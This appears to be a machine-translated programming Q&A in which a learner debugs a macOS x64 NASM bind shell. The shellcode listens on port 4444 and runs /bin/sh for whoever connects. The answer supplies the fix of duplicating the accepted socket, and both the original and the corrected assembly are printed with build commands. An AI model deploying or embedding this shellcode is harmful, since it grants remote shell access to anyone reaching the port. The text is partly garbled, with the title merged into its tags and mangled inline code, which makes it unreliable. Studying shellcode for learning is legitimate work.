Macos osx x64反向tcp外壳代码程序成功终止
我一直在尝试学习osx上的一些64位汇编程序,并认为一个好的练习是移植一个反向tcp外壳代码。然后编译和链接的程序正常运行,并侦听给定的端口4444,但随后我尝试连接Macos osx x64反向tcp外壳代码程序成功终止,macos,assembly,tcp,Macos,Assembly,Tcp,我一直在尝试学习osx上的一些64位汇编程序,并认为一个好的练习是移植一个反向tcp外壳代码。然后编译和链接的程序正常运行,并侦听给定的端口4444,但随后我尝试连接nc-nv 127.0.0.1 4444shell_代码成功终止,返回nc的响应是:连接到127.0.0.1 4444端口[tcp/*]成功 它的汇编和链接如下: nasm -g -f macho64 bindshell.s ld -arch x86_64 -macosx_version_min 10.7.0 -lSystem -
nc-nv 127.0.0.1 4444
shell_代码成功终止,返回nc的响应是:连接到127.0.0.1 4444端口[tcp/*]成功
它的汇编和链接如下:
nasm -g -f macho64 bindshell.s
ld -arch x86_64 -macosx_version_min 10.7.0 -lSystem -o bindshell bindshell.o
(nasm -v NASM version 2.11.02 compiled on Feb 19 2014)
uname -a
Darwin MacBook-Pro.local 12.4.0 Darwin Kernel Version 12.4.0: Wed May 1 17:57:12 PDT 2013; root:xnu-2050.24.15~1/RELEASE_X86_64 x86_64
一直在尝试调试它,查看寄存器和内存,但看不到缺少什么,这是64位汇编程序的新功能。使用的代码是:
BITS 64
section .text
global start
start:
jmp runsh
start_shell:
dd '/bin//sh', 0
runsh:
lea r14, [rel start_shell] ; get address of shell
mov rax, 0x2000061 ; call socket(SOCK_STREAM, AF_NET, 0);
mov rdi, 2 ; SOCK_STREAM = 2
mov rsi, 1 ; AF_NET = 1
xor rdx, rdx ; protocol, set to 0
syscall
mov r12, rax ; save socket from call
sock_addr:
xor r8, r8 ; clear the value of r8
push r8 ; push r8 to the stack as it's null (INADDR_ANY = 0)
push WORD 0x5C11 ; push our port number to the stack (Port = 4444)
push WORD 2 ; push protocol argument to the stack (AF_INET = 2)
mov r13, rsp ; Save the sock_addr_in into r13
;bind
mov rax, 0x2000068 ; bind(sockfd, sockaddr, addrleng);
mov rdi, r12 ; sockfd from socket syscall
mov rsi, r13 ; sockaddr
mov rdx, 16 ; addrleng the ip address length
syscall
;listen
mov rax, 0x200006A ; int listen(sockfd, backlog);
mov rdi, r12 ; sockfd
xor rsi, rsi ; backlog
syscall
;accept
mov rax, 0x200001E ; int accept(sockfd, sockaddr, socklen);
mov rdi, r12 ; sockfd
xor rsi, rsi ; sockaddr
xor rdx, rdx ; socklen
syscall
dup:
; dup2 for stdin, stdout and stderr
mov rax, 0x200005A ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)
cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2
;execve
mov rax, 0x200003B ; execve(char *fname, char **argp, char **envp);
mov rdi, r14 ; set the address to shell
xor rsi, rsi
xor rdx, rdx
run_cmd: ; using as break point
syscall
你是如此接近。问题的关键在于,当您尝试
dup
时,使用的是listen
套接字,而不是accept
套接字。这是您真正想要使用的accept
套接字
例如,这就是您所拥有的:
;accept
mov rax, 0x200001E ; int accept(sockfd, sockaddr, socklen);
mov rdi, r12 ; sockfd
xor rsi, rsi ; sockaddr
xor rdx, rdx ; socklen
syscall
dup:
; dup2 for stdin, stdout and stderr
mov rax, 0x200005A ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)
cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2
这就是您所需要的(查看第一个syscall
后面的行):
希望有帮助!
OJsocket的C接口需要不同顺序的参数(
socket(AF\u INET,SOCK\u STREAM,0)
)。这正常吗?另外,如果它能让您感觉更好,那么等效的C代码(固定了套接字调用)也会做同样的事情,因此,与您的汇编程序版本相比,shell代码的问题可能更多。套接字的手册页显示套接字(int域、int类型、int协议)也许是mac osx和/bin/sh的问题让事情变得复杂了如果你读得更深入一点,你会发现,domain
是PF_*常量之一(相当于AF_*常量),据我所知,它对所有unice都是一样的。你不应该用db而不是dd来声明shell路径的字符串吗?i、 e.db'/bin//sh',0
Thx为获得帮助,修复了问题。我想我看自己的代码都看不见了。
;accept
mov rax, 0x200001E ; int accept(sockfd, sockaddr, socklen);
mov rdi, r12 ; sockfd
xor rsi, rsi ; sockaddr
xor rdx, rdx ; socklen
syscall
mov r12, rax ; use the accept socket from here
dup:
; dup2 for stdin, stdout and stderr
mov rax, 0x200005A ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)
cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2